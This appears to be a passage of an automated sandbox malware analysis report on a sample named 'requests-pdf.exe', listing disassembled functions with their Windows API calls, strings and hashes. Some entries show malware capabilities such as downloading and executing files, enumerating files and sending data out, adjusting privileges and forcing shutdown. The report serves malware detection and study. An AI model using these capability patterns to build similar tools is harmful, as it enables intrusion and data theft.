                                                    • GetLocaleInfoW.KERNEL32(FDE8FE81,20001004,00000000,00000002,00000000,?,?,?,02521769,?,00000000), ref: 0252150C
                                                    • GetACP.KERNEL32(?,?,02521769,?,00000000), ref: 02521521
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: InfoLocale
                                                    • String ID: ACP$OCP
                                                    • API String ID: 2299586839-711371036
                                                    • Opcode ID: 3e26eff85c0b030be7827b2fbb91fc7191fc27f2fce1bf15d40cdf94764cc661
                                                    • Instruction ID: 440cf37e736e1665653e450985c47647423eec7394a543aba67a3be362bce245
                                                    • Opcode Fuzzy Hash: 3e26eff85c0b030be7827b2fbb91fc7191fc27f2fce1bf15d40cdf94764cc661
                                                    • Instruction Fuzzy Hash: 0821F422700A20A6D730CF54C940BA77BAAFF46A24B16C464E90ECB1C2F732DD48C7D8
                                                    Function 0041A63F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • FindResourceA.KERNEL32(SETTINGS,0000000A,00000000), ref: 0041A650
                                                    • LoadResource.KERNEL32(00000000,?,?,0040E183,00000000), ref: 0041A664
                                                    • LockResource.KERNEL32(00000000,?,?,0040E183,00000000), ref: 0041A66B
                                                    • SizeofResource.KERNEL32(00000000,?,?,0040E183,00000000), ref: 0041A67A
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Resource$FindLoadLockSizeof
                                                    • String ID: SETTINGS
                                                    • API String ID: 3473537107-594951305
                                                    • Opcode ID: e32b0715ad7aadeb38a8c4a618404dc1e86643bbbf9351d1ef3d996740a46f90
                                                    • Instruction ID: 83a829ee02157d331b98a48cb758db5ec39b6d120b3a3db205f860a33549a403
                                                    • Opcode Fuzzy Hash: e32b0715ad7aadeb38a8c4a618404dc1e86643bbbf9351d1ef3d996740a46f90
                                                    • Instruction Fuzzy Hash: 3EE01A3A200710ABCB211BA5BC8CD477E39E7867633140036F90582331DA358850CA59
                                                    Function 024D900E Relevance: 7.7, APIs: 5, Instructions: 216fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • __EH_prolog.LIBCMT ref: 024D9013
                                                    • FindFirstFileW.KERNEL32(00000000,?), ref: 024D908B
                                                    • FindNextFileW.KERNEL32(00000000,?), ref: 024D90B4
                                                    • FindClose.KERNEL32(?), ref: 024D90CB
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Find$File$CloseFirstH_prologNext
                                                    • String ID:
                                                    • API String ID: 1157919129-0
                                                    • Opcode ID: cae9dc3e290e62eb3ac1bcabecde37f344aa65a3c2dada11a4f4a429893bb3a7
                                                    • Instruction ID: 3c8ba18962560182698418a65df5ccaebf616d97bfeaf84bcf9f6dc66c699a93
                                                    • Opcode Fuzzy Hash: cae9dc3e290e62eb3ac1bcabecde37f344aa65a3c2dada11a4f4a429893bb3a7
                                                    • Instruction Fuzzy Hash: 388122329001199BCB16EBA1DCB4EED777AAF14314F5042AFE906A7191EF70AB49CF50
                                                    Function 0252161E Relevance: 7.7, APIs: 5, Instructions: 188COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 02517126: GetLastError.KERNEL32(?,0250E4C7,02509583,0250E4C7,00475B70,?,0250BBBC,FF8BC35D,00475B70,00473EE8), ref: 0251712A
                                                      • Part of subcall function 02517126: _free.LIBCMT ref: 0251715D
                                                      • Part of subcall function 02517126: SetLastError.KERNEL32(00000000,FF8BC35D,00475B70,00473EE8), ref: 0251719E
                                                      • Part of subcall function 02517126: _abort.LIBCMT ref: 025171A4
                                                      • Part of subcall function 02517126: _free.LIBCMT ref: 02517185
                                                      • Part of subcall function 02517126: SetLastError.KERNEL32(00000000,FF8BC35D,00475B70,00473EE8), ref: 02517192
                                                    • GetUserDefaultLCID.KERNEL32(?,?,?), ref: 0252172A
                                                    • IsValidCodePage.KERNEL32(00000000), ref: 02521785
                                                    • IsValidLocale.KERNEL32(?,00000001), ref: 02521794
                                                    • GetLocaleInfoW.KERNEL32(?,00001001,02513F53,00000040,?,02514073,00000055,00000000,?,?,00000055,00000000), ref: 025217DC
                                                    • GetLocaleInfoW.KERNEL32(?,00001002,02513FD3,00000040), ref: 025217FB
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
                                                    • String ID:
                                                    • API String ID: 745075371-0
                                                    • Opcode ID: 5c8e94395c66df2641350def7a129c2a5847567c9c00908226c609ff7e549d11
                                                    • Instruction ID: dc3e092090d1789760b0fd6d3027adf72e33f2f0c18442edb9890cfb34e8eeeb
                                                    • Opcode Fuzzy Hash: 5c8e94395c66df2641350def7a129c2a5847567c9c00908226c609ff7e549d11
                                                    • Instruction Fuzzy Hash: A651C671A00626AFDB14DFA4CC40ABF77B9BF85301F188475E908EB1D1EB709608CB69
                                                    Function 00407A8C Relevance: 7.7, APIs: 5, Instructions: 183fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • __EH_prolog.LIBCMT ref: 00407A91
                                                    • FindFirstFileW.KERNEL32(00000000,?,00465AA0,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00407B4A
                                                    • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00407B6E
                                                    • FindClose.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00407C76
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Find$File$CloseFirstH_prologNext
                                                    • String ID:
                                                    • API String ID: 1157919129-0
                                                    • Opcode ID: be329e02f9a977489ec03ab4a587285a9e8b683dbacd723bef2334c22b0cd63e
                                                    • Instruction ID: c296e4c637b16ec180f1d25cf2666c4e6f2336455dd814d501b84ef2841b6e91
                                                    • Opcode Fuzzy Hash: be329e02f9a977489ec03ab4a587285a9e8b683dbacd723bef2334c22b0cd63e
                                                    • Instruction Fuzzy Hash: 485173329041085ACB14FB65DD969DD7778AF50318F50417EB806B31E2EF38AB498B99
                                                    Function 024D7CF3 Relevance: 7.7, APIs: 5, Instructions: 183fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • __EH_prolog.LIBCMT ref: 024D7CF8
                                                    • FindFirstFileW.KERNEL32(00000000,?,00465AA0,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 024D7DB1
                                                    • FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 024D7DD5
                                                    • FindClose.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 024D7EDD
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Find$File$CloseFirstH_prologNext
                                                    • String ID:
                                                    • API String ID: 1157919129-0
                                                    • Opcode ID: be329e02f9a977489ec03ab4a587285a9e8b683dbacd723bef2334c22b0cd63e
                                                    • Instruction ID: 5e3135d60ba379b020a412355f2f9d1fc6776370593c9728cfe8f8f37c0dff61
                                                    • Opcode Fuzzy Hash: be329e02f9a977489ec03ab4a587285a9e8b683dbacd723bef2334c22b0cd63e
                                                    • Instruction Fuzzy Hash: 60516D72900209AACF05FBA5DCA5AEDB77AAF51300F90015EE806A7191EF749B49CF81
                                                    Function 0044800F Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045D478), ref: 00448079
                                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,0047179C,000000FF,00000000,0000003F,00000000,?,?), ref: 004480F1
                                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,004717F0,000000FF,?,0000003F,00000000,?), ref: 0044811E
                                                    • _free.LIBCMT ref: 00448067
                                                      • Part of subcall function 00446AC5: HeapFree.KERNEL32(00000000,00000000,?,0044FA50,?,00000000,?,00000000,?,0044FCF4,?,00000007,?,?,00450205,?), ref: 00446ADB
                                                      • Part of subcall function 00446AC5: GetLastError.KERNEL32(?,?,0044FA50,?,00000000,?,00000000,?,0044FCF4,?,00000007,?,?,00450205,?,?), ref: 00446AED
                                                    • _free.LIBCMT ref: 00448233
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
                                                    • String ID:
                                                    • API String ID: 1286116820-0
                                                    • Opcode ID: c081d488f34b9915cd9b048b6b498da186ffe618eda021c7ed3f66206b9427ec
                                                    • Instruction ID: adcac59616ce0bf4d9b6f5e4feac4fc1c4b096f081e8a0f87c9a15d47e4c4f65
                                                    • Opcode Fuzzy Hash: c081d488f34b9915cd9b048b6b498da186ffe618eda021c7ed3f66206b9427ec
                                                    • Instruction Fuzzy Hash: 13510B719002099BE714DF69DC819AFB7BCEF41354F10456FE454A32A1EF389E46CB58
                                                    Function 024E6D1E Relevance: 7.5, APIs: 5, Instructions: 32COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetCurrentProcess.KERNEL32(00000028,?), ref: 024E6D2B
                                                    • OpenProcessToken.ADVAPI32(00000000), ref: 024E6D32
                                                    • LookupPrivilegeValueA.ADVAPI32(00000000,0046BA18,?), ref: 024E6D44
                                                    • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 024E6D63
                                                    • GetLastError.KERNEL32 ref: 024E6D69
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
                                                    • String ID:
                                                    • API String ID: 3534403312-0
                                                    • Opcode ID: e04eb0b34037921419aad719b93aaa051d7dc20f4e189cf25d4eb9764effedfd
                                                    • Instruction ID: c28276ca820f5d67da4083ad645d4fedab17ddc29f560671af9b7c8b6b4fa774
                                                    • Opcode Fuzzy Hash: e04eb0b34037921419aad719b93aaa051d7dc20f4e189cf25d4eb9764effedfd
                                                    • Instruction Fuzzy Hash: 25F0D4B5805229BBDB10ABA1EC4DEEF7EBCEF05656F100061B805E2192D6748A44CAB5
                                                    Function 00406128 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 222filenetworkCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00406234
                                                    • URLDownloadToFileW.URLMON(00000000,00000000,00000004,00000000,00000000), ref: 00406318
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: DownloadExecuteFileShell
                                                    • String ID: C:\Users\user\Desktop\requests-pdf.exe$open
                                                    • API String ID: 2825088817-2140334733
                                                    • Opcode ID: d856352b29c500f65ac61f264686a0ac45c8e93dcc938b66659ffa0f0ca1f413
                                                    • Instruction ID: f68f5450864a8ef507c8d3860f756bd811b48be2db930e76b40a644c5c1bb7bc
                                                    • Opcode Fuzzy Hash: d856352b29c500f65ac61f264686a0ac45c8e93dcc938b66659ffa0f0ca1f413
                                                    • Instruction Fuzzy Hash: 0761A33160434067CA14FA76C8569BE77A69F81718F00493FBC46772D6EF3C9A05C69B
                                                    Function 024DE7B6 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 88sleepCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 024E271E: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,00000000), ref: 024E273E
                                                      • Part of subcall function 024E271E: RegQueryValueExA.ADVAPI32(00000000,?,00000000,?,?,?), ref: 024E275C
                                                      • Part of subcall function 024E271E: RegCloseKey.ADVAPI32(00000000), ref: 024E2767
                                                    • Sleep.KERNEL32(00000BB8), ref: 024DE86A
                                                    • ExitProcess.KERNEL32 ref: 024DE8D9
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CloseExitOpenProcessQuerySleepValue
                                                    • String ID: pth_unenc$BG
                                                    • API String ID: 2281282204-2233081382
                                                    • Opcode ID: 893b02ec2893ac076e1b48ec4804a82b241512304dbf54cdddd5c3cf734e141d
                                                    • Instruction ID: 122f3031fd40573933f1922affff855e7fcbaa1d7020b95e8b917e5b2b78c0d3
                                                    • Opcode Fuzzy Hash: 893b02ec2893ac076e1b48ec4804a82b241512304dbf54cdddd5c3cf734e141d
                                                    • Instruction Fuzzy Hash: A0210B21B4021067DA05B67B8825A7F359B6B90702F50401FFD16572CAFE968A008FA7
                                                    Function 00406AC2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 86fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • FindFirstFileW.KERNEL32(00000000,?,?,?,00000000), ref: 00406ADD
                                                    • FindNextFileW.KERNEL32(00000000,?,?,?,00000000), ref: 00406BA5
                                                      • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: FileFind$FirstNextsend
                                                    • String ID: x@G$x@G
                                                    • API String ID: 4113138495-3390264752
                                                    • Opcode ID: be8fdfc8a6072efbca1459ab7643d284853c2ddcf9d8b62b0637e10f69e8db4b
                                                    • Instruction ID: 9df0c8526107c53e8273efc1e688d8f669138e67c86485f4ac558c26d22f9560
                                                    • Opcode Fuzzy Hash: be8fdfc8a6072efbca1459ab7643d284853c2ddcf9d8b62b0637e10f69e8db4b
                                                    • Instruction Fuzzy Hash: B42147725043015BC714FB61D8959AF77A8AFD1358F40093EF996A31D1EF38AA088A9B
                                                    Function 024D6D29 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 86fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • FindFirstFileW.KERNEL32(00000000,?,?,?,00000000), ref: 024D6D44
                                                    • FindNextFileW.KERNEL32(00000000,?,?,?,00000000), ref: 024D6E0C
                                                      • Part of subcall function 024D46CF: send.WS2_32(?,00000000,00000000,00000000), ref: 024D4764
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: FileFind$FirstNextsend
                                                    • String ID: x@G$x@G
                                                    • API String ID: 4113138495-3390264752
                                                    • Opcode ID: be8fdfc8a6072efbca1459ab7643d284853c2ddcf9d8b62b0637e10f69e8db4b
                                                    • Instruction ID: 8011eee72754add4526c7d9bd335022a6d43eab2f0de612d19a0b7138c226d48
                                                    • Opcode Fuzzy Hash: be8fdfc8a6072efbca1459ab7643d284853c2ddcf9d8b62b0637e10f69e8db4b
                                                    • Instruction Fuzzy Hash: 33219C311042419BC715FB61ECB4DAFB7AEEF80354F404A2EFA8692191EF749A09CE52
                                                    Function 0041BB77 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 83COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • SystemParametersInfoW.USER32(00000014,00000000,00000000,00000003), ref: 0041BC6C
                                                      • Part of subcall function 004126D2: RegCreateKeyA.ADVAPI32(80000001,Control Panel\Desktop,004655B0), ref: 004126E1
                                                      • Part of subcall function 004126D2: RegSetValueExA.ADVAPI32(004655B0,?,00000000,?,00000000,00000000,Control Panel\Desktop,?,?,0041BC46,WallpaperStyle,004655B0,00000001,00473EE8,00000000), ref: 00412709
                                                      • Part of subcall function 004126D2: RegCloseKey.ADVAPI32(004655B0,?,?,0041BC46,WallpaperStyle,004655B0,00000001,00473EE8,00000000,?,004079DD,00000001), ref: 00412714
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CloseCreateInfoParametersSystemValue
                                                    • String ID: Control Panel\Desktop$TileWallpaper$WallpaperStyle
                                                    • API String ID: 4127273184-3576401099
                                                    • Opcode ID: b2749757bbb715b84591827a24ab2664cb1dcc6a43466099e0f50718dd789739
                                                    • Instruction ID: a6c166168c7895b99543370299e99232025f4d6daba66cbb636fef562e17b9dc
                                                    • Opcode Fuzzy Hash: b2749757bbb715b84591827a24ab2664cb1dcc6a43466099e0f50718dd789739
                                                    • Instruction Fuzzy Hash: 06112432B8060433D514303A4E6FBAE1806D356B60FA4415FF6026A6DAFA9E5AE103DF
                                                    Function 00450A7F Relevance: 6.2, APIs: 4, Instructions: 236COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00446EBF: GetLastError.KERNEL32(?,?,0043931C,?,?,?,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B), ref: 00446EC3
                                                      • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446EF6
                                                      • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B,?,00000041,00000000,00000000), ref: 00446F37
                                                      • Part of subcall function 00446EBF: _abort.LIBCMT ref: 00446F3D
                                                    • IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00443CF3,?,?,?,?,?,?,00000004), ref: 00450B61
                                                    • _wcschr.LIBVCRUNTIME ref: 00450BF1
                                                    • _wcschr.LIBVCRUNTIME ref: 00450BFF
                                                    • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,00443CF3,00000000,00443E13), ref: 00450CA2
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ErrorLast_wcschr$CodeInfoLocalePageValid_abort_free
                                                    • String ID:
                                                    • API String ID: 4212172061-0
                                                    • Opcode ID: 11e9d858be2eef57e51fe3ee5abaff11ba74f3cf781d1ad02b19bd3dc5989495
                                                    • Instruction ID: a02e79dc60b90d06ce6287b0e519d5a2a37574338541b46fb9e412c2f7ec0900
                                                    • Opcode Fuzzy Hash: 11e9d858be2eef57e51fe3ee5abaff11ba74f3cf781d1ad02b19bd3dc5989495
                                                    • Instruction Fuzzy Hash: D7613B79600306AAD729AB75CC82AAB73ACEF05316F14052FFD05D7243E778E909C768
                                                    Function 02520CE6 Relevance: 6.2, APIs: 4, Instructions: 236COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 02517126: GetLastError.KERNEL32(?,0250E4C7,02509583,0250E4C7,00475B70,?,0250BBBC,FF8BC35D,00475B70,00473EE8), ref: 0251712A
                                                      • Part of subcall function 02517126: _free.LIBCMT ref: 0251715D
                                                      • Part of subcall function 02517126: SetLastError.KERNEL32(00000000,FF8BC35D,00475B70,00473EE8), ref: 0251719E
                                                      • Part of subcall function 02517126: _abort.LIBCMT ref: 025171A4
                                                    • IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,02513F5A,?,?,?,?,025139B1,?,00000004), ref: 02520DC8
                                                    • _wcschr.LIBVCRUNTIME ref: 02520E58
                                                    • _wcschr.LIBVCRUNTIME ref: 02520E66
                                                    • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,02513F5A,00000000,0251407A), ref: 02520F09
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ErrorLast_wcschr$CodeInfoLocalePageValid_abort_free
                                                    • String ID:
                                                    • API String ID: 4212172061-0
                                                    • Opcode ID: 2f1efdd49f250f153a7c8dca19099ac794f5d0f52f96597e3c8d2ebbc38e997e
                                                    • Instruction ID: 29d16cc924e1eaa559c2217917054612497236e9cbacd828b7bd74e87e4ce30e
                                                    • Opcode Fuzzy Hash: 2f1efdd49f250f153a7c8dca19099ac794f5d0f52f96597e3c8d2ebbc38e997e
                                                    • Instruction Fuzzy Hash: 06613C71602326AADB24AB34CC41FBB77ADFF5A710F140469E905DB1C0EB74E948CB69
                                                    Function 00408DA7 Relevance: 6.2, APIs: 4, Instructions: 206fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • __EH_prolog.LIBCMT ref: 00408DAC
                                                    • FindFirstFileW.KERNEL32(00000000,?), ref: 00408E24
                                                    • FindNextFileW.KERNEL32(00000000,?), ref: 00408E4D
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: FileFind$FirstH_prologNext
                                                    • String ID:
                                                    • API String ID: 301083792-0
                                                    • Opcode ID: 0245cb435e7972fa9dc1819fe4f867f76e5734f3076513a46e64ed25397209d2
                                                    • Instruction ID: 60446431aa0b45b5fc099c057f6d50f3e7887136e12703af2d86415be67689ac
                                                    • Opcode Fuzzy Hash: 0245cb435e7972fa9dc1819fe4f867f76e5734f3076513a46e64ed25397209d2
                                                    • Instruction Fuzzy Hash: 357140328001099BCB15EBA1DC919EE7778AF54318F10427FE856B71E2EF386E45CB98
                                                    Function 00450E6A Relevance: 4.7, APIs: 3, Instructions: 205COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00446EBF: GetLastError.KERNEL32(?,?,0043931C,?,?,?,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B), ref: 00446EC3
                                                      • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446EF6
                                                      • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B,?,00000041,00000000,00000000), ref: 00446F37
                                                      • Part of subcall function 00446EBF: _abort.LIBCMT ref: 00446F3D
                                                      • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446F1E
                                                      • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B,?,00000041,00000000,00000000), ref: 00446F2B
                                                    • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00450EBE
                                                    • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00450F0F
                                                    • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00450FCF
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ErrorInfoLastLocale$_free$_abort
                                                    • String ID:
                                                    • API String ID: 2829624132-0
                                                    • Opcode ID: 022617d048d67c565bd8cd478daba609af81f9e307d0efc84ddd0a3e182c2dec
                                                    • Instruction ID: e92eb603d23812efeda5bde14236c6fbce748c008cf001f3fb8de25b7fcb8669
                                                    • Opcode Fuzzy Hash: 022617d048d67c565bd8cd478daba609af81f9e307d0efc84ddd0a3e182c2dec
                                                    • Instruction Fuzzy Hash: AC61D3365002079FDB289F24CD82BBB77A8EF04706F1041BBED05C6696E778D989DB58
                                                    Function 024E5B1C Relevance: 4.6, APIs: 3, Instructions: 98libraryloadershutdownCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • ExitWindowsEx.USER32(00000000,00000001), ref: 024E5BC2
                                                    • LoadLibraryA.KERNEL32(0046B9C0,0046B9B0), ref: 024E5BD7
                                                    • GetProcAddress.KERNEL32(00000000), ref: 024E5BDE
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: AddressExitLibraryLoadProcWindows
                                                    • String ID:
                                                    • API String ID: 1366546845-0
                                                    • Opcode ID: 0a607b4a7b5ecc12f789a4cc2078a46f2f116dcd92e244ce5a1d878263211a66
                                                    • Instruction ID: fbcec4974f9745b6ab3b680601c3f6012f4519fcab911b312da5127659d3810e
